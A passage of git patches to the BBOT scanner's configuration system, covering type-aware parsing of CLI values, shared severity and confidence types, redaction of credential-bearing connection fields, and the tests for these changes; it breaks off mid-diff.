field (api keys, passwords, hostnames, string Literals) now keeps the literal text instead of being YAML-coerced to int/bool and rejected by the str type. The field's type is resolved from the schema before parsing, so it's lossless (0755 stays "0755", not 493). Typed options still coerce (int/bool/list), Union[str, list[str]] wordlist fields still parse a list, and unknown keys are still caught by validation. --- bbot/core/config/models.py | 62 +++++++++++++++++++++++++++++++ bbot/scanner/preset/args.py | 47 ++++++++++++++++------- bbot/test/test_step_1/test_cli.py | 43 +++++++++++++++++++++ 3 files changed, 138 insertions(+), 14 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 17918ebcf6..6e5a3f1d77 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -99,6 +99,66 @@ def _field_submodel(field): return None +def _acceptable_types(annotation) -> set: + """Base types an annotation accepts, unwrapping Optional/Union and reducing + parametrized generics + Literals to their base type (e.g. Union[str, list[str]] + -> {str, list}; Literal["a", "b"] -> {str}).""" + import typing + + types: set = set() + origin = typing.get_origin(annotation) + if origin is typing.Union: + args = typing.get_args(annotation) + elif origin is typing.Literal: + return {type(a) for a in typing.get_args(annotation)} + else: + args = (annotation,) + for a in args: + if a is type(None): + continue + ao = typing.get_origin(a) + if ao is typing.Literal: + types.update(type(x) for x in typing.get_args(a)) + else: + types.add(ao if ao is not None else a) + return types + + +def pure_string_field(annotation) -> bool: + """True if `annotation` accepts a plain string and NOT any collection type. + + These are fields where the user's literal CLI text *is* the value (api keys, + passwords, hostnames, string Literals). For them the CLI skips YAML coercion + so an all-numeric or boolean-looking value isn't turned into an int/bool and + rejected by the str type. `Union[str, list[str]]` (the wordlist fields) is + intentionally NOT pure-string: it must still YAML-parse a list. + """ + if annotation is None: + return False + acc = _acceptable_types(annotation) + return (str in acc) and not (acc & {list, tuple, set, dict, frozenset}) + + +def resolve_field_annotation(model, dotted_path: str): + """Walk a dotted config path against a pydantic model and return the leaf + field's annotation, or None if any segment can't be resolved. None means + "unknown" -> the caller falls back to default parsing (a genuine typo is + still caught by the normal validation pass). Honors `Field(alias=...)`.""" + current = model + parts = dotted_path.split(".") + for i, part in enumerate(parts): + field = _resolve_field(current, part) + if field is None: + return None + if i == len(parts) - 1: + return field.annotation + sub = _field_submodel(field) + if sub is None: + return None + current = sub + return None + + def partition_sensitive_config(config, model, *, keep_sensitive: bool): """ Walk `config` (a dict) alongside the pydantic `model`, returning a copy @@ -397,4 +457,6 @@ class PresetSchema(BaseModel): "is_mandatory", "is_sensitive", "partition_sensitive_config", + "pure_string_field", + "resolve_field_annotation", ] diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 9684c132c4..ebad1f3bcf 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -6,25 +6,28 @@ from bbot.errors import * from bbot.core.config.merge import dotted_set +from bbot.core.config.models import pure_string_field, resolve_field_annotation from bbot.core.helpers.misc import chain_lists -def _parse_cli_value(raw: str): +def _parse_cli_value(raw: str, annotation=None): """ Parse the RHS of a `-c a.b.c=value` argument. - YAML safe_load handles `true`/`false`/`null`/ints/floats and quoted strings - the way users expect when they write `web.spider_distance=2` or - `modules.stdout.event_fields='[type, data]'`. An empty RHS (`-c key=`) is - treated as an empty string rather than None — matching the "clear this - value" intent users normally have. + If `annotation` (the target field's declared type) is a pure-string field, the + user's literal text IS the value -- skip YAML coercion so "12345678" / "true" / + "0755" stay strings (lossless) instead of being coerced to int/bool and rejected + by the str type. - Date-shaped values (e.g. `2024-01-01`) are kept as the literal string: YAML - resolves them to a date object, which is never a valid config value and would - be rejected by every typed field (e.g. an all-numeric or date-shaped api key). + Otherwise YAML safe_load handles `true`/`false`/`null`/ints/floats/lists the way + users expect for `web.spider_distance=2`. An empty RHS (`-c key=`) is an empty + string. Date-shaped values are kept as the literal string (no field is typed + `date`), since YAML would resolve them to a date object. """ if raw == "": return "" + if annotation is not None and pure_string_field(annotation): + return raw try: value = yaml.safe_load(raw) except yaml.YAMLError: @@ -34,10 +37,15 @@ def _parse_cli_value(raw: str): return value -def parse_dotted_cli(entries): +def parse_dotted_cli(entries, schema=None): """ Parse one or more `a.b.c=value` strings into a nested dict. + If `schema` (the composite config model, i.e. `MODULE_LOADER.config_schema`) is + provided, each value is parsed type-aware against its target field, so a + pure-string field keeps the literal text rather than YAML-coercing it. Without a + schema, parsing falls back to plain YAML coercion. + Examples: >>> parse_dotted_cli(["modules.shodan.api_key=1234"]) {'modules': {'shodan': {'api_key': 1234}}} @@ -52,7 +60,8 @@ def parse_dotted_cli(entries): path = path.strip() if not path: raise ValueError(f'Empty key in "{entry}"') - dotted_set(result, path, _parse_cli_value(raw.strip())) + annotation = resolve_field_annotation(schema, path) if schema is not None else None + dotted_set(result, path, _parse_cli_value(raw.strip(), annotation)) return result @@ -234,10 +243,12 @@ def preset_from_args(self): if self.parsed.user_agent_suffix: args_preset.core.merge_custom({"web": {"user_agent_suffix": self.parsed.user_agent_suffix}}) - # CLI config options (dot-syntax) + # CLI config options (dot-syntax) — parsed type-aware so pure-string fields + # keep their literal value (e.g. an all-numeric password isn't coerced to int) + schema = self._config_schema() for config_arg in self.parsed.config: try: - args_preset.core.merge_custom(parse_dotted_cli([config_arg])) + args_preset.core.merge_custom(parse_dotted_cli([config_arg], schema=schema)) except Exception as e: raise BBOTArgumentError(f'Error parsing command-line config option: "{config_arg}": {e}') @@ -493,6 +504,14 @@ def sanitize_args(self): if self.parsed.fast_mode: self.parsed.preset += ["fast"] + def _config_schema(self): + """Composite config schema for type-aware CLI parsing, or None if it can't + be built yet (then parsing falls back to plain YAML coercion).""" + try: + return self.preset.module_loader.config_schema + except Exception: + return None + def validate(self): """ Validate the CLI `-c key=value` arguments against the composite @@ -503,7 +522,7 @@ def validate(self): if not self.parsed.config: return - cli_dict = parse_dotted_cli(self.parsed.config) + cli_dict = parse_dotted_cli(self.parsed.config, schema=self._config_schema()) errs = validate_preset({"config": cli_dict}, module_loader=self.preset.module_loader) if errs: raise ValidationError("\n".join(str(e) for e in errs)) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 7f1d1c56fd..c142237951 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -517,6 +517,49 @@ def test_parse_cli_value_keeps_date_shaped_strings(): assert _parse_cli_value("hello") == "hello" +def test_parse_dotted_cli_type_aware_string_fields(): + """Pure-string fields keep the literal CLI text (lossless) so an all-numeric or + boolean-looking value isn't coerced to int/bool and rejected by the str type.""" + from bbot.scanner.preset.args import parse_dotted_cli + from bbot.scanner import validate_preset + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + schema = MODULE_LOADER.config_schema + for raw, expect in [("12345678", "12345678"), ("true", "true"), ("0755", "0755")]: + d = parse_dotted_cli([f"modules.postgres.password={raw}"], schema=schema) + assert d["modules"]["postgres"]["password"] == expect + assert validate_preset({"config": d}) == [] + + +def test_parse_dotted_cli_type_aware_preserves_scalars(): + """Typed options still coerce (int/bool), and Union[str, list[str]] still parses a + list while keeping a bare value as a string.""" + from bbot.scanner.preset.args import parse_dotted_cli + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + schema = MODULE_LOADER.config_schema + assert parse_dotted_cli(["web.http_timeout=20"], schema=schema)["web"]["http_timeout"] == 20 + assert parse_dotted_cli(["scope.strict=true"], schema=schema)["scope"]["strict"] is True + wl = parse_dotted_cli(["modules.dnsbrute.wordlist=[a,b]"], schema=schema)["modules"]["dnsbrute"]["wordlist"] + assert wl == ["a", "b"] + bare = parse_dotted_cli(["modules.dnsbrute.wordlist=foo"], schema=schema)["modules"]["dnsbrute"]["wordlist"] + assert bare == "foo" + + +def test_type_aware_parsing_still_flags_unknown_key(): + """Type-awareness must not hide a typo: an unknown key falls back to YAML parse + and is still rejected by validation.""" + from bbot.scanner.preset.args import parse_dotted_cli + from bbot.scanner import validate_preset + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + d = parse_dotted_cli(["web.bogus=5"], schema=MODULE_LOADER.config_schema) + assert validate_preset({"config": d}) # non-empty: unknown key flagged + + def test_cli_module_validation(monkeypatch, caplog): monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) From 0a0600c68cbc6408d442c0df42a1f8e0f5c9c0da Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 18:23:43 -0400 Subject: [PATCH 730/912] Fix non-blocking review findings (N2, N3, N6, N8, N12) - N2: baddns_direct/baddns_zone redeclared min_severity/min_confidence as plain str, bypassing the parent's Literal (bad value -> setup() ValueError). Now share a single SeverityLiteral/ConfidenceLiteral type (DRY, case-insensitive via BeforeValidator) wired into the Config exec namespace; baddns.setup() also guards the unvalidated programmatic path. - N3: stdout soft-fails on an unknown format instead of silently dropping every event. - N6: shodan_idb.retries typed int (was str; rejected the natural 'retries: 3'). - N8: mark credential-bearing connection URIs (neo4j.uri, elastic.url, splunk.url, websocket.url) and trajan.jenkins_username sensitive so they don't leak into the redacted config view. - N12: the legacy-options guard now also catches the annotated form (options: dict = {...}, ast.AnnAssign). --- bbot/core/config/models.py | 19 ++++++++++++-- bbot/core/modules.py | 18 +++++++++++-- bbot/modules/baddns.py | 23 +++++++---------- bbot/modules/baddns_direct.py | 8 +++--- bbot/modules/baddns_zone.py | 8 +++--- bbot/modules/output/elastic.py | 1 + bbot/modules/output/neo4j.py | 2 +- bbot/modules/output/splunk.py | 2 +- bbot/modules/output/stdout.py | 4 +++ bbot/modules/output/websocket.py | 2 +- bbot/modules/shodan_idb.py | 2 +- bbot/modules/trajan.py | 2 +- bbot/test/test_step_1/test_field_metadata.py | 14 +++++++++++ bbot/test/test_step_1/test_modules_basic.py | 25 +++++++++++++++++++ bbot/test/test_step_1/test_validate_preset.py | 14 +++++++++++ 15 files changed, 115 insertions(+), 29 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 6e5a3f1d77..1d05ac2269 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -13,9 +13,9 @@ from __future__ import annotations -from typing import Any, Literal, Optional +from typing import Annotated, Any, Literal, Optional -from pydantic import BaseModel, ConfigDict, field_validator +from pydantic import BaseModel, BeforeValidator, ConfigDict, field_validator from pydantic import Field as _PydanticField from pydantic_core import PydanticUndefined @@ -25,6 +25,19 @@ STRICT = ConfigDict(extra="forbid") +def _normalize_upper(v): + """Uppercase a string so severity/confidence options are case-insensitive.""" + return v.upper() if isinstance(v, str) else v + + +# Single source of truth for severity/confidence option types (used by the baddns family). +# The BeforeValidator normalizes case at validation time so e.g. "low" validates as "LOW". +SeverityLiteral = Annotated[Literal["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"], BeforeValidator(_normalize_upper)] +ConfidenceLiteral = Annotated[ + Literal["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"], BeforeValidator(_normalize_upper) +] + + def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool = False, **kwargs): """ Drop-in replacement for `pydantic.Field` that records two BBOT-specific @@ -457,6 +470,8 @@ class PresetSchema(BaseModel): "is_mandatory", "is_sensitive", "partition_sensitive_config", + "ConfidenceLiteral", + "SeverityLiteral", "pure_string_field", "resolve_field_annotation", ] diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 6ad5b33491..17982ab301 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -74,11 +74,12 @@ def _exec_config_class(source: str, module_name: str): valid type expression (`Optional[str]`, `Literal["a", "b"]`, `list[Union[int, str]]`, …) without any hand-rolled resolver. """ - from typing import Any, Dict, List, Literal, Optional, Set, Tuple, Union + from typing import Annotated, Any, Dict, List, Literal, Optional, Set, Tuple, Union from pydantic import AfterValidator, BeforeValidator, field_validator, model_validator - from bbot.core.config.models import BaseModuleConfig, Field + from bbot.core.config.models import BaseModuleConfig, ConfidenceLiteral, Field, SeverityLiteral namespace: dict = { + "Annotated": Annotated, "Any": Any, "Dict": Dict, "List": List, @@ -93,6 +94,8 @@ def _exec_config_class(source: str, module_name: str): "BeforeValidator": BeforeValidator, "AfterValidator": AfterValidator, "BaseModuleConfig": BaseModuleConfig, + "SeverityLiteral": SeverityLiteral, + "ConfidenceLiteral": ConfidenceLiteral, } try: exec(source, namespace) @@ -622,6 +625,17 @@ def preload_module(self, module_file): config_source = ast.get_source_segment(python_code, class_attr) continue + # annotated legacy form (`options: dict = {...}` -> ast.AnnAssign) must + # also be caught, otherwise it slips the 3.0 legacy-options rejection below + if ( + legacy_options_keyword is None + and isinstance(class_attr, ast.AnnAssign) + and isinstance(class_attr.target, ast.Name) + and class_attr.target.id in ("options", "options_desc") + ): + legacy_options_keyword = class_attr.target.id + legacy_options_line = class_attr.lineno + if not type(class_attr) == ast.Assign: continue diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index fa576c3079..fc643dc74a 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -1,11 +1,10 @@ -from typing import Literal from baddns.base import get_all_modules from baddns.lib.loader import load_signatures from .base import BaseModule import logging -from pydantic import Field, field_validator -from bbot.core.config.models import BaseModuleConfig +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig, SeverityLiteral, ConfidenceLiteral SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL") CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED") @@ -53,22 +52,13 @@ class Config(BaseModuleConfig): custom_nameservers: list[str] = Field( default_factory=list, description="Force BadDNS to use a list of custom nameservers" ) - min_severity: Literal["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"] = Field( - "LOW", description="Minimum severity to emit" - ) - min_confidence: Literal["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"] = Field( - "MEDIUM", description="Minimum confidence to emit" - ) + min_severity: SeverityLiteral = Field("LOW", description="Minimum severity to emit") + min_confidence: ConfidenceLiteral = Field("MEDIUM", description="Minimum confidence to emit") enabled_submodules: list[str] = Field( default_factory=list, description="A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", ) - @field_validator("min_severity", "min_confidence", mode="before") - @classmethod - def _normalize_case(cls, v): - return v.upper() if isinstance(v, str) else v - module_threads = 8 deps_pip = ["baddns~=2.3.0"] @@ -114,6 +104,11 @@ async def setup(self): self.custom_nameservers = self.helpers.chain_lists(self.custom_nameservers) min_severity = self.config.get("min_severity").upper() min_confidence = self.config.get("min_confidence").upper() + # guard the unvalidated programmatic path (Scanner(config=...) skips validation) + if min_severity not in SEVERITY_LEVELS: + return False, f"Invalid min_severity {min_severity!r}; must be one of {', '.join(SEVERITY_LEVELS)}" + if min_confidence not in CONFIDENCE_LEVELS: + return False, f"Invalid min_confidence {min_confidence!r}; must be one of {', '.join(CONFIDENCE_LEVELS)}" self._min_sev_idx = SEVERITY_LEVELS.index(min_severity) self._min_conf_idx = CONFIDENCE_LEVELS.index(min_confidence) self.signatures = load_signatures() diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index b4d655d70c..6bfadcc48a 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -1,5 +1,5 @@ from .baddns import baddns as baddns_module -from bbot.core.config.models import BaseModuleConfig, Field +from bbot.core.config.models import BaseModuleConfig, Field, SeverityLiteral, ConfidenceLiteral class baddns_direct(baddns_module): @@ -14,8 +14,10 @@ class baddns_direct(baddns_module): class Config(BaseModuleConfig): custom_nameservers: list = Field([], description="Force BadDNS to use a list of custom nameservers") - min_severity: str = Field("LOW", description="Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)") - min_confidence: str = Field( + min_severity: SeverityLiteral = Field( + "LOW", description="Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)" + ) + min_confidence: ConfidenceLiteral = Field( "MEDIUM", description="Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)" ) diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index 918e593469..972b73384b 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -1,5 +1,5 @@ from .baddns import baddns as baddns_module -from bbot.core.config.models import BaseModuleConfig, Field +from bbot.core.config.models import BaseModuleConfig, Field, SeverityLiteral, ConfidenceLiteral class baddns_zone(baddns_module): @@ -14,8 +14,10 @@ class baddns_zone(baddns_module): class Config(BaseModuleConfig): custom_nameservers: list = Field([], description="Force BadDNS to use a list of custom nameservers") - min_severity: str = Field("INFO", description="Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)") - min_confidence: str = Field( + min_severity: SeverityLiteral = Field( + "INFO", description="Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)" + ) + min_confidence: ConfidenceLiteral = Field( "MEDIUM", description="Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)" ) diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index d9a4ad8984..768a48bb6d 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -18,6 +18,7 @@ class Config(BaseModuleConfig): url: str = Field( "https://localhost:9200/bbot_events/_doc", description="Elastic URL (e.g. https://localhost:9200//_doc)", + sensitive=True, ) username: str = Field("elastic", description="Elastic username", sensitive=True) password: str = Field("bbotislife", description="Elastic password", sensitive=True) diff --git a/bbot/modules/output/neo4j.py b/bbot/modules/output/neo4j.py index 1429323793..290f6bdf92 100644 --- a/bbot/modules/output/neo4j.py +++ b/bbot/modules/output/neo4j.py @@ -36,7 +36,7 @@ class neo4j(BaseOutputModule): meta = {"description": "Output to Neo4j", "created_date": "2022-04-07", "author": "@TheTechromancer"} class Config(BaseModuleConfig): - uri: str = Field("bolt://localhost:7687", description="Neo4j server + port") + uri: str = Field("bolt://localhost:7687", description="Neo4j server + port", sensitive=True) username: str = Field("neo4j", description="Neo4j username", sensitive=True) password: str = Field("bbotislife", description="Neo4j password", sensitive=True) diff --git a/bbot/modules/output/splunk.py b/bbot/modules/output/splunk.py index 1413db55e2..5ad09fa93a 100644 --- a/bbot/modules/output/splunk.py +++ b/bbot/modules/output/splunk.py @@ -12,7 +12,7 @@ class Splunk(BaseOutputModule): } class Config(BaseModuleConfig): - url: str = Field("", description="Web URL") + url: str = Field("", description="Web URL", sensitive=True) hectoken: str = Field("", description="HEC Token", sensitive=True) index: str = Field("", description="Index to send data to") source: str = Field("", description="Source path to be added to the metadata") diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 217634edf7..0252856e9e 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -34,6 +34,10 @@ def _normalize_case(cls, v): async def setup(self): self.text_format = self.config.get("format", "text").strip().lower() + # guard the unvalidated programmatic path (Scanner(config=...) skips validation), + # otherwise an unknown format silently drops every event in handle_event + if self.text_format not in ("text", "json"): + return False, f"Invalid format {self.text_format!r}; must be 'text' or 'json'" self.accept_event_types = [str(s).upper() for s in self.config.get("event_types", [])] self.show_event_fields = [str(s) for s in self.config.get("event_fields", [])] self.in_scope_only = self.config.get("in_scope_only", False) diff --git a/bbot/modules/output/websocket.py b/bbot/modules/output/websocket.py index 6bd2908080..8671d5bd0d 100644 --- a/bbot/modules/output/websocket.py +++ b/bbot/modules/output/websocket.py @@ -12,7 +12,7 @@ class Websocket(BaseOutputModule): meta = {"description": "Output to websockets", "created_date": "2022-04-15", "author": "@TheTechromancer"} class Config(BaseModuleConfig): - url: str = Field("", description="Web URL") + url: str = Field("", description="Web URL", sensitive=True) token: str = Field("", description="Authorization Bearer token", sensitive=True) preserve_graph: bool = Field( True, description="Preserve full chains of events in the graph (prevents orphans)" diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 853e476261..c705172db2 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -51,7 +51,7 @@ class shodan_idb(BaseModule): } class Config(BaseModuleConfig): - retries: Optional[str] = Field( + retries: Optional[int] = Field( None, description="How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.", ) diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index 9191e9e536..a136ed06eb 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -24,7 +24,7 @@ class Config(BaseModuleConfig): gitlab_token: str = Field("", description="GitLab API token for private repo access", sensitive=True) ado_token: str = Field("", description="Azure DevOps Personal Access Token (PAT)", sensitive=True) jfrog_token: str = Field("", description="JFrog API token", sensitive=True) - jenkins_username: str = Field("", description="Jenkins username for basic auth") + jenkins_username: str = Field("", description="Jenkins username for basic auth", sensitive=True) jenkins_password: str = Field("", description="Jenkins password for basic auth", sensitive=True) jenkins_token: str = Field("", description="Jenkins API token", sensitive=True) diff --git a/bbot/test/test_step_1/test_field_metadata.py b/bbot/test/test_step_1/test_field_metadata.py index 9999fda1ef..be73478bcd 100644 --- a/bbot/test/test_step_1/test_field_metadata.py +++ b/bbot/test/test_step_1/test_field_metadata.py @@ -143,3 +143,17 @@ def test_auth_required_property_derives_from_config(): robots_mandatories = [n for n, f in robots.Config.model_fields.items() if is_mandatory(f)] assert shodan_mandatories == ["api_key"] assert robots_mandatories == [] + + +def test_credential_connection_fields_are_sensitive(): + """Connection URIs that can embed credentials, and auth usernames, must be sensitive + so they aren't leaked into the redacted/public config view.""" + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + preloaded = MODULE_LOADER.preloaded() + assert "uri" in preloaded["neo4j"]["options_sensitive"] + assert "url" in preloaded["elastic"]["options_sensitive"] + assert "url" in preloaded["splunk"]["options_sensitive"] + assert "url" in preloaded["websocket"]["options_sensitive"] + assert "jenkins_username" in preloaded["trajan"]["options_sensitive"] diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 68fe92052d..10577b5856 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -624,3 +624,28 @@ async def handle_event(self, event): preloaded = MODULE_LOADER.preload_module(new_mod) assert preloaded is not None assert preloaded["config"] == {"api_key": ""} + + # The annotated form `options: dict = {...}` (ast.AnnAssign) must also be rejected, + # not silently slip the guard. + annotated_mod = tmp_path / "annotated_legacy_mod.py" + annotated_mod.write_text( + """ +from bbot.modules.base import BaseModule + + +class annotated_legacy_mod(BaseModule): + watched_events = ["DNS_NAME"] + produced_events = ["FINDING"] + flags = ["passive", "safe"] + meta = {"description": "x", "created_date": "2024-01-01", "author": "@x"} + + options: dict = {"api_key": ""} + options_desc: dict = {"api_key": "API key"} + + async def handle_event(self, event): + pass +""" + ) + with pytest.raises(BBOTError) as excinfo: + MODULE_LOADER.preload_module(annotated_mod) + assert "no longer supported" in str(excinfo.value) diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 615cd5d49e..6e7fcdd89e 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -283,3 +283,17 @@ def test_build_validation_schema_tolerates_unexecable_config(): schema = _build_validation_schema(preloaded) # must not raise # the module is usable and accepts arbitrary config (lenient fallback) assert schema.model_validate({"config": {"modules": {"synthmod": {"threads": 5, "anything": "x"}}}}) + + +def test_validate_preset_baddns_subclass_severity_is_validated(): + """baddns_direct/baddns_zone validate min_severity/min_confidence against the shared + severity/confidence Literal (case-insensitive), not accept arbitrary strings.""" + assert validate_preset({"config": {"modules": {"baddns_direct": {"min_severity": "low"}}}}) == [] + errs = validate_preset({"config": {"modules": {"baddns_zone": {"min_severity": "BOGUS"}}}}) + assert len(errs) == 1 and errs[0].path == "min_severity" + assert "Expected one of" in errs[0].message + + +def test_validate_preset_shodan_idb_retries_is_int(): + """shodan_idb.retries is numeric; the natural `retries: 3` must validate (was typed str).""" + assert validate_preset({"config": {"modules": {"shodan_idb": {"retries": 3}}}}) == [] From caefde9cebd7be0552daf194a5984bc5ec9046fd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Jun 2026 12:06:41 -0400 Subject: [PATCH 731/912] Type-directed config coercion via preload-built type index Replace the schema-walking approach (pure_string_field / resolve_field_annotation) with a flat config type index built from AST annotation strings captured at preload time. The index maps every dotted config path to a frozenset of base type-names, enabling type-directed coercion for both CLI and file/programmatic config without exec-ing any module Config class. - models.py: accepted_types_from_string (AST), accepted_types_from_annotation (live types), coerce_value, coerce_config; remove old pure_string_field / resolve_field_annotation / _acceptable_types - modules.py: capture ast.unparse(annotation) in _extract_pydantic_config, store as options_types, bump PRELOAD_CACHE_VERSION to 3, add config_type_index property on ModuleLoader - args.py: parse_dotted_cli takes index= (flat dict) instead of schema= (pydantic model); _parse_cli_value delegates to coerce_value - preset.py: coerce_config runs over custom_config in bake() before validate() - validate.py: suggestion universe comes from config_type_index (single source of truth, kills the B1 drift class) --- bbot/core/config/models.py | 180 ++++++++++++++++++++++-------- bbot/core/modules.py | 70 ++++++++++-- bbot/scanner/preset/args.py | 75 +++++-------- bbot/scanner/preset/preset.py | 11 ++ bbot/scanner/preset/validate.py | 8 +- bbot/test/test_step_1/test_cli.py | 55 +++++++-- 6 files changed, 279 insertions(+), 120 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 6247f3cc5d..c45434cb11 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -112,64 +112,144 @@ def _field_submodel(field): return None -def _acceptable_types(annotation) -> set: - """Base types an annotation accepts, unwrapping Optional/Union and reducing - parametrized generics + Literals to their base type (e.g. Union[str, list[str]] - -> {str, list}; Literal["a", "b"] -> {str}).""" +_COLLECTION_NAMES = frozenset({"list", "List", "tuple", "Tuple", "set", "Set", "frozenset", "dict", "Dict"}) +_TRUE_WORDS = frozenset({"true", "1", "yes", "on"}) +_FALSE_WORDS = frozenset({"false", "0", "no", "off"}) + + +def accepted_types_from_string(src: str) -> frozenset: + """Base type-names a stringified annotation accepts (no exec, pure AST). + + Used to normalize module Config annotations captured at preload time into + a set of base type-names that `coerce_value` can act on. + + >>> accepted_types_from_string("bool") + frozenset({'bool'}) + >>> accepted_types_from_string("Optional[int]") + frozenset({'int'}) + >>> accepted_types_from_string("Union[str, list[str]]") + frozenset({'str', 'list'}) + >>> accepted_types_from_string('Literal["manual", "x"]') + frozenset({'str'}) + """ + import ast as _ast + + try: + root = _ast.parse(src, mode="eval").body + except SyntaxError: + return frozenset() + + def walk(n): + t: set = set() + if isinstance(n, _ast.Name): + t.add(n.id) + elif isinstance(n, _ast.Attribute): + t.add(n.attr) + elif isinstance(n, _ast.BinOp) and isinstance(n.op, _ast.BitOr): + t |= walk(n.left) | walk(n.right) + elif isinstance(n, _ast.Subscript): + base = getattr(n.value, "id", getattr(n.value, "attr", None)) + elts = n.slice.elts if isinstance(n.slice, _ast.Tuple) else [n.slice] + if base in ("Optional", "Union"): + for e in elts: + t |= walk(e) + elif base == "Literal": + t |= {type(e.value).__name__ for e in elts if isinstance(e, _ast.Constant)} + elif base == "Annotated": + if elts: + t |= walk(elts[0]) + else: + t.add(base) + return t + + return frozenset(x for x in walk(root) if x != "NoneType") + + +def accepted_types_from_annotation(annotation) -> frozenset: + """Base type-names a real annotation object accepts. + + Used for the static global models (BBOTConfig, WebConfig, etc.) where the + annotation is a live type object, not a string. + """ import typing - types: set = set() origin = typing.get_origin(annotation) - if origin is typing.Union: - args = typing.get_args(annotation) - elif origin is typing.Literal: - return {type(a) for a in typing.get_args(annotation)} - else: - args = (annotation,) + if origin is typing.Literal: + return frozenset(type(a).__name__ for a in typing.get_args(annotation)) + args = typing.get_args(annotation) if origin is typing.Union else (annotation,) + out: set = set() for a in args: if a is type(None): continue ao = typing.get_origin(a) if ao is typing.Literal: - types.update(type(x) for x in typing.get_args(a)) + out |= {type(x).__name__ for x in typing.get_args(a)} + elif ao is typing.Annotated or (hasattr(typing, "Annotated") and typing.get_origin(a) is typing.Annotated): + inner_args = typing.get_args(a) + if inner_args: + out |= accepted_types_from_annotation(inner_args[0]) else: - types.add(ao if ao is not None else a) - return types + out.add(getattr(ao or a, "__name__", str(ao or a))) + return frozenset(out) -def pure_string_field(annotation) -> bool: - """True if `annotation` accepts a plain string and NOT any collection type. +def _yaml_scalar(value): + """yaml.safe_load a raw string, but never coerce to date/time. Non-strings pass through.""" + import datetime as _dt + import yaml as _yaml - These are fields where the user's literal CLI text *is* the value (api keys, - passwords, hostnames, string Literals). For them the CLI skips YAML coercion - so an all-numeric or boolean-looking value isn't turned into an int/bool and - rejected by the str type. `Union[str, list[str]]` (the wordlist fields) is - intentionally NOT pure-string: it must still YAML-parse a list. + if not isinstance(value, str): + return value + if value == "": + return "" + try: + parsed = _yaml.safe_load(value) + except _yaml.YAMLError: + return value + return value if isinstance(parsed, (_dt.date, _dt.time)) else parsed + + +def coerce_value(value, accepted): + """Coerce one config value toward its declared type. + + `value` may be a raw CLI string OR an already-parsed YAML value. + `accepted` is the frozenset of base type-names for the target field, or + None/empty when the field is unknown (fall back to default YAML behavior; + unknown keys are still caught by validation). """ - if annotation is None: - return False - acc = _acceptable_types(annotation) - return (str in acc) and not (acc & {list, tuple, set, dict, frozenset}) - - -def resolve_field_annotation(model, dotted_path: str): - """Walk a dotted config path against a pydantic model and return the leaf - field's annotation, or None if any segment can't be resolved. None means - "unknown" -> the caller falls back to default parsing (a genuine typo is - still caught by the normal validation pass). Honors `Field(alias=...)`.""" - current = model - parts = 